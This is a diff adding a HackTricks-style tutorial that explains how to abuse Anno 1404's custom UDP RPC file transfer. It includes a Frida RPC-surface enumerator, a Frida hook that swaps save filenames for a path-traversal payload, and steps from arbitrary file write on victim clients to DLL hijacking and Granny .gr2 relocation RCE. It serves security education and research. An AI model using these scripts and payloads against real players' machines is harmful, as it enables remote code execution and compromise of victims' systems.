|
| 1 | +# Custom UDP RPC Enumeration & File-Transfer Abuse |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Mapping proprietary RPC objects with Frida |
| 6 | + |
| 7 | +Older multiplayer titles often embed home-grown RPC stacks on top of UDP. In *Anno 1404: Venice* this is implemented inside `NetComEngine3.dll` via the `RMC_CallMessage` dispatcher, which parses 5 fields from every datagram: |
| 8 | + |
| 9 | +| Field | Purpose | |
| 10 | +| --- | --- | |
| 11 | +| `ID` | RPC verb (16-bit) | |
| 12 | +| `Flags` | Transport modifiers (reliability, ordering) | |
| 13 | +| `Source` | Object ID of the caller | |
| 14 | +| `TargetObject` | Remote object instance | |
| 15 | +| `Method` | Method index inside the target class | |
| 16 | + |
| 17 | +Two helper functions – `ClassToMethodName()` and `TargetName()` – translate raw IDs into human-readable strings for logging. By brute-forcing 24‑bit object IDs and 16‑bit method IDs and calling those helpers we can enumerate the entire remotely reachable surface without traffic captures or symbol leaks. |
| 18 | + |
| 19 | +<details> |
| 20 | +<summary>Frida surface enumerator (trimmed)</summary> |
| 21 | + |
| 22 | +```javascript |
| 23 | +'use strict'; |
| 24 | + |
| 25 | +const classToMethod = Module.getExportByName('NetComEngine3.dll', 'ClassToMethodName'); |
| 26 | +const targetName = Module.getExportByName('NetComEngine3.dll', 'TargetName'); |
| 27 | + |
| 28 | +function tryID(objID, methodID) { |
| 29 | + const method = new NativeFunction(classToMethod, 'pointer', ['pointer', 'uint']); |
| 30 | + const target = new NativeFunction(targetName, 'pointer', ['pointer']); |
| 31 | + const buf = Memory.alloc(Process.pointerSize); |
| 32 | + buf.writeU32(objID); |
| 33 | + const m = method(buf, methodID); |
| 34 | + if (!m.isNull()) { |
| 35 | + const t = target(buf); |
| 36 | + console.log(objID.toString(16), '=', t.readUtf16String()); |
| 37 | + console.log(' -', methodID, '=', m.readUtf16String()); |
| 38 | + } |
| 39 | +} |
| 40 | + |
| 41 | +for (let obj = 0; obj < 0x9000000; obj += 0x400000) { |
| 42 | + for (let meth = 0; meth < 0x40; meth++) { |
| 43 | + tryID(obj, meth); |
| 44 | + } |
| 45 | +} |
| 46 | +``` |
| 47 | + |
| 48 | +</details> |
| 49 | + |
| 50 | +Running `frida -l explore-surface.js Addon.exe` emitted the complete RPC map, including the `Player` object (`0x7400000`) and its file-transfer verbs `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, and `OnCancelSendFile`. The same workflow applies to any binary protocol that exposes internal reflection helpers: intercept the dispatcher, brute-force IDs, and log what the engine already knows about each callable method. |
| 51 | + |
| 52 | +### Tips |
| 53 | + |
| 54 | +- Use the engine’s own logging buffers (`WString::Format` in this case) to avoid reimplementing undocumented string encodings. |
| 55 | +- Dump `Flags` to identify reliability features (ACK, resend requests) before attempting fuzzing; custom UDP stacks frequently drop malformed packets silently. |
| 56 | +- Store the enumerated map – it serves as a fuzzing corpus and makes it obvious which objects manipulate the filesystem, world state, or in-game scripting. |
| 57 | + |
| 58 | +## Subverting file-transfer RPCs |
| 59 | + |
| 60 | +Multiplayer save synchronization used a two-packet handshake: |
| 61 | + |
| 62 | +1. `OnSendFileInit` — carries the UTF‑16 filename the client should use when saving the incoming payload. |
| 63 | +2. `OnSendFileData` — streams raw file contents in fixed-size chunks. |
| 64 | + |
| 65 | +Because the server serializes the filename through `ByteStreamWriteString()` right before sending, a Frida hook can swap the pointer to a traversal payload while keeping packet sizes intact. |
| 66 | + |
| 67 | +<details> |
| 68 | +<summary>Filename swapper</summary> |
| 69 | + |
| 70 | +```javascript |
| 71 | +const writeStr = ptr('0x1003A250'); |
| 72 | +const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']); |
| 73 | +const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww'); |
| 74 | + |
| 75 | +Interceptor.attach(writeStr, { |
| 76 | + onEnter(args) { |
| 77 | + const src = args[1].readPointer(); |
| 78 | + const value = src.readUtf16String(); |
| 79 | + if (value && value.indexOf('Sauvegarde.sww') !== -1) { |
| 80 | + args[1].writePointer(evil); |
| 81 | + } |
| 82 | + } |
| 83 | +}); |
| 84 | +``` |
| 85 | + |
| 86 | +</details> |
| 87 | + |
| 88 | +Victim clients performed zero sanitisation and wrote the received save to whatever path the hostile host supplied, e.g. dropping into `C:\User\user` instead of the intended `...\Savegames\MPShare` tree. On Windows installations of Anno 1404 the game directory is world-writable, so the traversal instantly becomes an arbitrary file write primitive: |
| 89 | + |
| 90 | +- **Drop DLLs** for classic search-order hijacking on next launch, or |
| 91 | +- **Overwrite asset archives** (RDA files) so that weaponized models, textures, or scripts are loaded live during the same session. |
| 92 | + |
| 93 | +### Defending / attacking other targets |
| 94 | + |
| 95 | +- Look for RPC verbs named `SendFile`, `Upload`, `ShareSave`, etc., then intercept the serialization helper responsible for filenames or target directories. |
| 96 | +- Even if filenames are length-checked, many stacks forget to canonicalize `..\` or mixed `/` vs `\` sequences; brute-force all separators. |
| 97 | +- When the receiver stores files under the game install path, check ACLs via `icacls` to confirm whether an unprivileged user can drop code there. |
| 98 | + |
| 99 | +## Turning path traversal into live asset execution |
| 100 | + |
| 101 | +Once you can upload arbitrary bytes, replace any frequently loaded asset: |
| 102 | + |
| 103 | +1. **Unpack the archive.** RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with `srand(0xA2C2A)` seeded streams. Tools like [RDAExplorer](https://github.com/lysanntranvouez/RDAExplorer) re-pack archives after edits. |
| 104 | +2. **Inject a malicious `.gr2`.** The trojanized Granny 3D file carries the relocation exploit that overwrites `SectionContentArray` and, through a two-stage relocation sequence, gains an arbitrary 4-byte write inside `granny2.dll`. |
| 105 | +3. **Hijack allocator callbacks.** With ASLR disabled and DEP off, replacing the `malloc/free` function pointers in `granny2.dll` redirects the next allocation to your shellcode, giving immediate RCE without waiting for the victim to restart the game. |
| 106 | + |
| 107 | +This pattern generalises to any title that streams structured assets from binary archives: combine RPC-level traversal for delivery and unsafe relocation processing for code execution. |
| 108 | + |
| 109 | +## References |
| 110 | + |
| 111 | +- [Synacktiv – Exploiting Anno 1404](https://www.synacktiv.com/publications/exploiting-anno-1404.html) |
| 112 | +- [RDA File Format notes](https://github.com/lysanntranvouez/RDAExplorer/wiki/RDA-File-Format) |
| 113 | + |
| 114 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments